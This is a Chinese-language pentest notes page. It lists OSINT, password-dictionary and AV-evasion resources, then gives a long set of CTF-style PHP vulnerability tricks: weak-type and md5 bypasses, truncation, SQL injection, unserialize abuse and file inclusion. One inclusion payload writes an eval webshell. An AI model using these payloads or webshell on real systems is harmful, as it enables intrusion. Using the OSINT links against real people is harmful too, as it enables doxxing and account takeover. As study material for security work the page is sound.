[Reqable](https://reqable.com/zh-CN/android/) （极简的设计、丰富的功能、高效的性能和桌面手机多端平台）

### 社会工程

#### 注册查询

[你注册过哪些网站？一搜便知 - REG007](https://www.reg007.com)

[CheckUserNames](https://checkusernames.com) （在线 OSINT 工具，可帮助您在 170 多个社交网络中查找用户名。它还可以用于检查品牌公司名称，而不仅仅是个人。）

tg社工库

[通过 Github 找到一个人](https://www.ixiqin.com/2020/01/how-to-find-a-person-through-making/)

[google 文档反查Gmail](https://github.com/Malfrats/xeuledoc)

#### 链接定位

[诚殷网络-来源管理用户中心](https://re.chinacycc.com/index.php?type=login)

[遇见数据仓库-遇见工具-定位资源-在线数据仓库-福利资源-met.red](https://met.red)

#### IP-/-定位

[RTBAsia ODX - Open Data Exchange](https://ip.rtbasia.com)（精度高）

#### 密码生成

[社工密码字典在线生成](https://www.xiaobaibk.com/guess/)

[社工密码字典在线生成](https://xsshs.cn/xss.php?do=pass)

#### **密码泄露**

[Privacy | 个人数据泄漏检测](https://privacy.aiuys.com)

## 文章聚合

[hacktricks](https://book.hacktricks.xyz) （各种命令、提示、攻击方法）

[Offensive Security Cheatsheet](https://cheatsheet.haax.fr)（安全方面基本都涉及了，很全很牛逼）

[Active Directory - Internal Pentest](https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory) （AD渗透，一套流程+姿势）

[The Hacker Recipes](https://www.thehacker.recipes) (AD安全居多)

[InfoSec Notes](https://notes.qazeer.io/)（AD安全命令）

[Pentest Book](https://pentestbook.six2dez.com) （AD安全命令、渗透checklist）

[Web-Attack-Cheat-Sheet](https://github.com/riramar/Web-Attack-Cheat-Sheet)（工具命令、渗透checklist）

[Pentest\_Note](https://github.com/xiaoy-sec/Pentest_Note)（没有思路 / 忘记命令就看看）

[\[代码审计\]知识星球](https://zsxq.tricking.io) （技能提升）

[Web安全学习笔记](https://websec.readthedocs.io/zh/latest/index.html)（系统学习）

[CTF Wiki](https://wiki.x10sec.org)（细节 + 总结）

[洞见网安](https://wechat.doonsec.com/)（公众号-聚合平台）

[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) （Payload集合）

[bugbountyhunting](https://www.bugbountyhunting.com)（漏洞赏金搜索引擎）

[Hack Inn](https://www.hackinn.com) （安全大会议题ppt集合）

[阿里云漏洞库](https://avd.aliyun.com) （漏洞更新及时）

[长亭漏洞库](https://stack.chaitin.com/vuldb/index)（漏洞更新及时）

[PeiQi文库 · 语雀](https://www.yuque.com/peiqiwiki/)（poc集合）

[SecurityList](https://github.com/ax1sX/SecurityList)（web渗透+代码审计）

[云安全攻防](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/) （云安全集合）

[T Wiki 面向云安全方向的知识文库](https://wiki.teamssix.com/) （云安全集合）


# 系统命令

系统命令集合


# WINDOWS

WINDOWS命令集合

## CMD

...

## PowerShell

[PowerShell Documentation - PowerShell | Microsoft Docs](https://docs.microsoft.com/zh-cn/powershell/)


# LINUX

LINUX命令集合

[Linux命令大全](https://man.linuxde.net)（推荐）

[linux 速查词典|linux API中文手册|linux参考文档\_w3cschool](https://www.w3cschool.cn/linux/dict)

[shell解释器-match command-line arguments to their help text](https://explainshell.com)


# 编程开发

代码模板集合


# JAVA

JAVA

Spring Boot基础教程 - <https://github.com/dyc87112/SpringBoot-Learning>

开发环境 - <https://mirrors.huaweicloud.com/java/jdk/>


# HTML

HTML代码模板

### HTML 基本文档

```markup
<!DOCTYPE html>
<html>
<head>
<title>文档标题</title>
</head>
<body>
可见文本...
</body>
</html>
```

### 基本标签（Basic Tags）

```markup
<h1>最大的标题</h1>
<h2> . . . </h2>
<h3> . . . </h3>
<h4> . . . </h4>
<h5> . . . </h5>
<h6>最小的标题</h6>
<p>这是一个段落。</p>
<br> （换行）
<hr> （水平线）
<!-- 这是注释 -->
```

### 文本格式化（Formatting）

```markup
<b>粗体文本</b>
<code>计算机代码</code>
<em>强调文本</em>
<i>斜体文本</i>
<kbd>键盘输入</kbd> 
<pre>预格式化文本</pre>
<small>更小的文本</small>
<strong>重要的文本</strong>
<abbr> （缩写）
<address> （联系信息）
<bdo> （文字方向）
<blockquote> （从另一个源引用的部分）
<cite> （工作的名称）
<del> （删除的文本）
<ins> （插入的文本）
<sub> （下标文本）
<sup> （上标文本）
```

### 链接（Links）

```markup
普通的链接：<a href="http://www.example.com/">链接文本</a>
图像链接： <a href="http://www.example.com/"><img src="URL" alt="替换文本"></a>
邮件链接： <a href="mailto:webmaster@example.com">发送e-mail</a>
书签：
<a id="tips">提示部分</a>
<a href="#tips">跳到提示部分</a>
```

### 图片（Images）

```markup
<img src="URL" alt="替换文本" height="42" width="42">
```

### 样式/区块（Styles/Sections）

```markup
<style type="text/css">
h1 {color:red;}
p {color:blue;}
</style>
<div>文档中的块级元素</div>
<span>文档中的内联元素</span>
```

### 无序列表

```markup
<ul>
    <li>项目</li>
    <li>项目</li>
</ul>
```

### 有序列表

```markup
<ol>
    <li>第一项</li>
    <li>第二项</li>
</ol>
```

### 定义列表

```markup
<dl>
  <dt>项目 1</dt>
    <dd>描述项目 1</dd>
  <dt>项目 2</dt>
    <dd>描述项目 2</dd>
</dl>
```

### 表格（Tables）

```markup
<table border="1">
  <tr>
    <th>表格标题</th>
    <th>表格标题</th>
  </tr>
  <tr>
    <td>表格数据</td>
    <td>表格数据</td>
  </tr>
</table>
```

### 框架（Iframe）

```markup
<iframe src="demo_iframe.htm"></iframe>
```

### 表单（Forms）

```markup
<form action="demo_form.php" method="post/get">
<input type="text" name="email" size="40" maxlength="50">
<input type="password">
<input type="checkbox" checked="checked">
<input type="radio" checked="checked">
<input type="submit" value="Send">
<input type="reset">
<input type="hidden">
<select>
<option>苹果</option>
<option selected="selected">香蕉</option>
<option>樱桃</option>
</select>
<textarea name="comment" rows="60" cols="20"></textarea>
</form>
```

### 实体（Entities）

```markup
&lt; 等同于 <
&gt; 等同于 >
&#169; 等同于 ©
```

原文链接：<https://www.runoob.com/html/html-quicklist.html>

详细：[html 速查词典|html API中文手册|html参考文档\_w3cschool](https://www.w3cschool.cn/html/dict)


# JAVASCRIPT

JAVASCRIPT代码模板

[javascript 速查词典|javascript API中文手册|javascript参考文档\_w3cschool](https://www.w3cschool.cn/javascript/dict)


# PHP

PHP代码模板

[php 速查词典|php API中文手册|php参考文档\_w3cschool](https://www.w3cschool.cn/php/dict)


# PYTHON

PYTHON代码模板

[Python3在线速查手册 - W3xue.com](https://www.w3xue.com/manual/py3/)

[Python 教程 - 简明教程](https://www.jmjc.tech/tutorial/python/1)

[Python 经典小例子、小案例](https://github.com/jackzhenguo/python-small-examples)

[《Python Cookbook in Chinese》 3rd Edition 翻译](https://github.com/yidao620c/python3-cookbook)


# Go

Go

[Go语言标准库文档中文版 | Go语言中文网 | Golang中文社区 | Golang中国](https://studygolang.com/pkgdoc)

[Go语言圣经（中文版）](https://books.studygolang.com/gopl-zh/)

[Go语言高级编程(Advanced Go Programming)](https://chai2010.cn/advanced-go-programming-book/)

[米粒网 - 一个和开发者共同成长的社区](https://www.nodejs123.com/books/go)

[Go by Example 中文版](https://gobyexample-cn.github.io/) \[基于实践的介绍，包含一系列带有注释说明的示例程序]

#### 优秀的Go库收集项目

<https://github.com/avelino/awesome-go>


# C\#

C#代码模板

[C#教程：C#入门经典教程，值得收藏](http://c.biancheng.net/csharp/)


# C/C++

c/c++

最近学习Windows编程总结

<https://payloads.online/archivers/2018-12-20/1/>

&#x20;Windows - 文件映射

<https://payloads.online/archivers/2018-12-20/windows-FileMapping/>

Windows - 线程同步

<https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/>

Windows - 内存管理

<https://payloads.online/archivers/2018-12-21/1/>

静态恶意代码逃逸（第一课） - 混淆加密bin2shellcode

<https://payloads.online/archivers/2019-11-10/1/>

静态恶意代码逃逸（第二课） - win操作系统内存、内存的申请、执行、加上了异或代码

<https://payloads.online/archivers/2019-11-10/2/>

静态恶意代码逃逸（第三课） - 内存申请优化（先读写后执行）、异或方式

<https://payloads.online/archivers/2019-11-10/3/>

静态恶意代码逃逸（第四课） - 分离免杀、管道

<https://payloads.online/archivers/2019-11-10/4/>

静态恶意代码逃逸（第五课） - 真正意义上的分离、socket

<https://payloads.online/archivers/2019-11-10/5/>

静态恶意代码逃逸（第六课） - winPE、MemoryModule、反射dll

<https://payloads.online/archivers/2020-01-02/1/>

静态恶意代码逃逸（第七课） - 隐藏导入表，减少文件特征

<http://payloads.online/archivers/2020-10-23/1/>

静态恶意代码逃逸（第八课） - 重载的运算符是带有特殊名称的函数

<http://payloads.online/archivers/2020-11-29/1/>

静态恶意代码逃逸（第九课） - 使用HeapCreate API来关闭DEP保护，获取在堆上的代码执行权限，从而绕过对VirtualAlloc的检测

<http://payloads.online/archivers/2020-11-29/2/>

静态恶意代码逃逸（第十课） - 使用UUID的方式存储Shellcode，再介绍一些CALL BACK函数的特性来加载Shellcode

<http://payloads.online/archivers/2021-02-08/1/>

静态恶意代码逃逸（第十一课） - 汇编语言编写Shellcode加载器

<http://payloads.online/archivers/2022-02-16/1/>


# WIN32-API

WIN32-API

<https://docs.microsoft.com/zh-cn/windows/win32/api/>


# POWERSHELL

POWERSHELL

[Powershell-Attack-Guide](https://rootclay.gitbook.io/powershell-attack-guide/) - rootclay \[Powershell攻击指南-黑客后渗透之道]


# 代码审计

代码审计


# PHP

PHP

<https://www.yuque.com/burpheart/phpaudit> - PHP代码审计入门指南 \[白帽酱]


# PHP-tips

PHP-tips

### 变量覆盖

#### extract()

该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量。条件：若有EXTR\_SKIP则不行。

```php
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
# 结果：$a = Cat; $b = Dog; $c = Horse
复制代码
```

这里原来是`$a`是original，后面通过extract把`$a`覆盖变成了Cat了,所以这里把原来的变量给覆盖了。

```php
#?shiyan=&flag=1
<?php
$flag='xxx';
extract($_GET);
 if(isset($shiyan))
 {
    $content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
    if($shiyan==$content)
    {
        echo'ctf{xxx}';
    }
   else
   {
    echo'Oh.no';
   }
   }
复制代码
```

#### parse\_str()

解析字符串并注册成变量

```php
$b=1;
Parse_str('b=2');
Print_r($b); # 结果: $b=2
复制代码
```

#### import\_request\_variables()

```php
将 GET/POST/Cookie 变量导入到全局作用域中，全局变量注册。
在5.4之后被取消，只可在4-4.1.0和5-5.4.0可用。
//导入POST提交的变量值，前缀为post_
import_request_variable("p"， "post_");
//导入GET和POST提交的变量值，前缀为gp_，GET优先于POST
import_request_variable("gp"， "gp_");
//导入Cookie和GET的变量值，Cookie变量值优先于GET
import_request_variable("cg"， "cg_");
复制代码
```

#### ?变量覆盖

```php
## 提交参数chs，则可覆盖变量"$chs"的值。$key为chs时，?key就变成$chs
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value){
        ?key = $chs->Convert($value);
    }
    unset($chs);
}
复制代码
```

#### 全局变量覆盖漏洞

原理： `register_globals` 是php中的一个控制选项，可以设置成off或者on, 默认为off, 决定是否将 EGPCS（Environment，GET，POST，Cookie，Server）变量注册为全局变量。 如果register\_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的`$GLOBALS`变量.

`$_REQUEST` 这个超全局变量的值受 `php.ini`中`request_order`的影响，在`php5.3.x`系列中，`request_order`默认值为GP，也就是说默认配置下`$_REQUEST`只包含`$_GET`和`$_POST`而不包括`$_COOKIE`。通过COOKIE就可以提交GLOBALS变量。

```php
<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;

//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
复制代码
```

经过测试，开了register\_globals会卡死

### 绕过过滤的空白字符

原理：[baike.baidu.com/item/控制字符](https://baike.baidu.com/item/%E6%8E%A7%E5%88%B6%E5%AD%97%E7%AC%A6)

```php
控制码
"\0" "%00" (ASCII  0 (0x00))，空字节符。

制表符
"\t" (ASCII  9 (0x09))，水平制表符。

空白字符：
"\n" (ASCII 10 (0x0A))，换行符。
"\v" "\x0b" (ASCII  11 (0x0B))，垂直制表符。
"\f" "%0c" 换页符
"\r" "%0d"(ASCII  13 (0x0D))，回车符。

空格:
" " "%20" (ASCII  32 (0x20))，普通空格符。
复制代码
```

而trim过滤的空白字符有

```php
string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )
复制代码
```

其中缺少了\f

2 函数对空白字符的特性

is\_numeric函数在开始判断前，会先跳过所有空白字符。这是一个特性。

也就是说，is\_numeirc(" \r\n \t 1.2")是会返回true的。同理，intval(" \r\n \t 12")，也会正常返回12。

案例

\[github.com/bowu678/php…]\(<https://github.com/bowu678/php\\_bugs/blob/master/02> 绕过过滤的空白字符.php)

```php
#?number=%00%0c191
# 1 %00绕过is_numeric
# 2 \f（也就是%0c）在数字前面，trim，intval和is_numeric都会忽略这个字符
复制代码
```

### intval整数溢出

php整数上限溢出绕过intval

intval 函数最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上， intval('1000000000000') 会返回 2147483647。 64 位系统上，最大带符号的 integer 值是 9223372036854775807。

### intval 四舍五入

```php
# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 这里过滤只有一个intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
    }
  else{
    echo($query[content]);
  }
}
复制代码
```

### 浮点数精度忽略

```php
if ($req["number"] != intval($req["number"]))
复制代码
```

在小数小于某个值（10^-16）以后，再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等。

### 多重加密

题目中有：

```php
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}
复制代码
```

本地则写：

```php
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>
复制代码
```

### 截断

#### iconv 异常字符截断

```php
## 因iconv遇到异常字符就不转后面的内容了，所以可以截断。
## 这里chr(128)到chr(255)都可以截断。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk
echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8
复制代码
```

#### eregi、ereg可用%00截断

功能：正则匹配过滤 条件：要求php<5.3.4

```php
## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*
#GET方式提交password，然后用ereg()正则限制了password的形式，只能是一个或者多个数字、大小写字母，继续strlen()限制了长度小于8并且大小必须大于9999999，继续strpos()对password进行匹配，必须含有-，最终才输出flag
#因为ereg函数存在NULL截断漏洞，导致了正则过滤被绕过,所以可以使用%00截断正则匹配。
#对于另一个难题可以使用科学计数法表示，计算器或电脑表达10的的幂是一般是e，也就是1.99714e13=19971400000000，所以构造 1e8 即 100000000 > 9999999，在加上-。于是乎构造password=1e8%00*-*,成功得到答案
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
复制代码
```

#### move\_uploaded\_file 用\0截断

5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7

在高版本（受影响版本中），PHP把长度比较的安全检查逻辑给去掉了，导致了漏洞的发生

cve：[web.nvd.nist.gov/view/vuln/d…](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348)

`move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")` 上传抓包修改name为a.php\0jpg（\0是nul字符），可以看到`$_FILES['xx']['name']`存储的字符串是a.php，不会包含\0截断之后的字符，因此并不影响代码的验证逻辑。 但是如果通过`$_REQUEST`方式获取的，则可能出现扩展名期望值不一致的情况，造成“任意文件上传”。

#### inclue用？截断

```php
<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>
复制代码
```

当输入的文件名包含URL时，问号截断则会发生，并且这个利用方式不受PHP版本限制，原因是Web服务其会将问号看成一个请求参数。

测试POC：<http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt>? 则会打开secret.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。

#### 系统长度截断

这种方式在PHP5.3以后的版本中都已经得到了修复。 win260个字符，linux下4\*1024=4096字节

#### mysql长度截断

mysql内的默认字符长度为255，超过的就没了。 由于mysql的sql\_mode设置为default的时候，即没有开启STRICT\_ALL\_TABLES选项时，MySQL对于插入超长的值只会提示warning

#### mysql中utf-8截断

```php
insert into dvwa.test values (14,concat("admin",0xc1,"abc"))
```

写入为admin

### 弱类型比较

原理

比较表：[php.net/manual/zh/t…](http://php.net/manual/zh/types.comparisons.php)

以下等式会成立

```php
'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1
复制代码
```

#### ==、>、<的弱类型比较

这里用到了PHP弱类型的一个特性，当一个整形和一个其他类型行比较的时候，会先把其他类型转换成整型再比。

```php
##方法1
##$a["a1"]="1e8%00";
##这里用%00绕过is_numeric,然后1e8可以比1336大，因此最后能$v1=1
##方法2
##$a["a1"]=["a"];
##使用数组，可以，因为数组恒大于数字或字符串
##方法3
##$a["a1"]=1337a;
##1337a过is_numeric，又由>转成1337与1336比较
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
        var_dump($a);
        ($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);
复制代码
```

#### switch 弱类型

```php
// 第一种：弱类型，1e==1
// $x1=1e
// 第二种：利用数组名字bypass
// $x1=1[]
// 传入后为string(3) "1[]",但在switch那里为1
if (isset($_GET['x1']))
{
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
复制代码
```

#### md5比较（0e相等、数组为Null）

```php
md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字，先做字符串到数字的转换。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

这样的对应数值还有：
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
复制代码
```

技巧：找出在某一位置开始是0e的，并包含“XXX”的字符串

```php
#方法1
#s1=QNKCDZO&s2=240610708
#方法2
#?s1[]=1&s2[]=2
#利用md5中md5([1,2,3]) == md5([4,5,6]) ==NULL，md5一个list结果为Null
#则可以使：[1] !== [2] && md5([1]) ===md5([2])
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
复制代码
##这里没有弱类型，但可以让$r查出来是Null，然后提交md5里放数组得Null，于是Null===Null
$name = addslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if ($r['pass'] === md5($_POST['pass'])) {
echo "success";
}
复制代码
```

#### json传数据{"key":0}

PHP将POST的数据全部保存为字符串形式，也就没有办法注入数字类型的数据了而JSON则不一样，JSON本身是一个完整的字符串，经过解析之后可能有字符串，数字，布尔等多种类型。

```php
application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml
复制代码
```

第一个application/x-www-form-urlencoded，是一般表单形式提交的content-type第二个，是包含文件的表单。第三，四个，分别是json和xml，一般是js当中上传的.

{"key":"0"}

这是一个字符串0，我们需要让他为数字类型，用burp拦截，把两个双引号去掉，变成这样：

{"key":0}

#### strcmp漏洞1：返回0

适用与5.3之前版本的php

`int strcmp ( string $str1 , string $str2 )` // 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。 当这个函数接受到了不符合的类型，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将return 0,所以可以故意让其报错，则返回0，则相等了。

```php
##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}
复制代码
```

#### strcmp漏洞2：返回Null

修复了上面1的返回0的漏洞，即大于5.3版本后，变成返回NULL。 array和string进行strcmp比较的时候会返回一个null，因为strcmp只会处理字符串参数，如果给个数组的话呢，就会返回NULL。

```php
strcmp($c[1],$d)
```

#### strcmp漏洞3: 判断使用的是 ==

而判断使用的是==，当NULL==0是 bool(true)

#### in\_array，array\_search 弱类型比较

松散比较下，任何string都等于true：

```php
// in_array('a', [true, 'b', 'c'])       // 返回bool(true)，相当于数组里面有字符'a'
// array_search('a', [true, 'b', 'c'])   // 返回int(0)，相当于找到了字符'a'
// array_search 会使用'ctf'和array中的每个值作比较，这里的比较也是弱比较，所以intval('ctf')==0.
if(is_array(@$a["a2"])){
        if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
        $pos = array_search("ctf", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["a2"] as $key=>$val){
            $val==="ctf"?die("nope"):NULL;
        }
        $v2=1;
}
复制代码
```

#### sha1() md5() 报错相等绕过（False === False）

sha1()函数默认的传入参数类型是字符串型，给它传入数组会出现错误，使sha1()函数返回错误，也就是返回false

md5()函数如果成功则返回已计算的 MD5 散列，如果失败则返回 FALSE。可通过传入数组，返回错误。

```php
##?name[]=1&password[]=2
## === 两边都是false则成立
if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);
复制代码
```

#### strpos数组NULL(Null !== False)

strpos()输入数组出错返回null

```php
#既要是纯数字,又要有’#biubiubiu’，strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.
<?php
$flag = "flag";
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
            die('Flag: '.$flag);
        else
            echo '骚年，继续努力吧啊~';
    }
复制代码
```

#### 十六进制与十进制比较

\== 两边的十六进制与十进制比较，是可以相等的。

```php
#?password=0xdeadc0de
#echo  dechex ( 3735929054 ); // 将3735929054转为16进制结果为：deadc0de
<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允许，但0允许
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
复制代码
```

### md5注入带入’or’

原理：

```php
md5(string,raw)
raw    可选。规定十六进制或二进制输出格式：
    TRUE - 原始 16 字符二进制格式
    FALSE - 默认。32 字符十六进制数
复制代码
```

当md5函数的第二个参数为True时，编码将以16进制返回，再转换为字符串。而字符串’ffifdyop’的md5加密结果为`'or'<trash>` 其中 trash为垃圾值，or一个非0值为真，也就绕过了检测。

```php
## 执行顺序:字符串：ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)将16进制转成字符串`'or'<trash>`->sql执行`'or'<trash>`造成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";
复制代码
```

### switch没有break

```php
#这里case 0 和 1 没有break,使得程序继续往下执行。
<?php
error_reporting(0);
if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}
复制代码
```

### 反序列化

```php
<!-- index.php -->
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
<!-- showimg.php -->
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        //stripos — 查找字符串首次出现的位置（不区分大小写）
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
复制代码
#?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;

?>

<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
复制代码
```

### 文件包含

原理：

include()/include\_once()，require()/require\_once()，中的变量可控

利用方法：

1. 上传图片（含有php代码的图片）
2. 读文件，读php文件
3. 包含日志文件getshell
4. 包含/proc/self/envion文件getshell
5. 如果有phpinfo可以包含临时文件
6. 包含data://或php\://input等伪协议（需要allow\_url\_include=On)

封装协议：

```php
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
复制代码
## 访问共享目录
include ('\evilservershell.php');
复制代码
## post提交数据
<?php
  include($_GET['url']);
?>
## http://127.0.0.1/111332.php?url=php://input
## POST内容为：
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>
复制代码
```

### 提交参数无过滤

原理:过滤了GPC，但没有过滤其它部分。

```php
上传文件相关变量如$_FIle
$_GET，$_POST，$_Cookie，$_SERVER，$_ENV，$_SESSION，$_REQUEST
HTTP_CLIENT_IP 和HTTP_XFORWORDFOR 中的ip不受gpc影响
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
复制代码
```

案例：

```php
foreach($_COOKIE AS $_key=>$_value){
    unset(?_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && ?_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && ?_key=$_GET[$_key];
}
复制代码
```

通过表单来传值。

```php
<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit">
</form>
复制代码
```

这里的gid为查询参数

```php
$_SERVER                 //中用户能够控制的变量，php5.0后不受GPC影响
QUERY_STRING             //用户GET方法提交时的查询字符串
HTTP_REFERER             //用户请求的来源变量，在一些程序取得用户访问记录时用得比较多
HTTP_USER_AGENT          //用户的浏览器类型，也用于用户的访问记录的取得
HTTP_HOST                //提交的主机头等内容
HTTP_X_FORWARDED_FOR     //用户的代理主机的信息
复制代码
```

### 伪造IP

原理:以 HTTP\_ 开头的 header, 均属于客户端发送的内容。那么，如果客户端伪造user-agent/referer/client-ip/x-forward-for,就可以达到伪造IP的目的,php5之后不受GPC影响。

```php
关键字：
HTTP_
getenv
$_SERVER
服务端：
echo getenv('HTTP_CLIENT_IP');
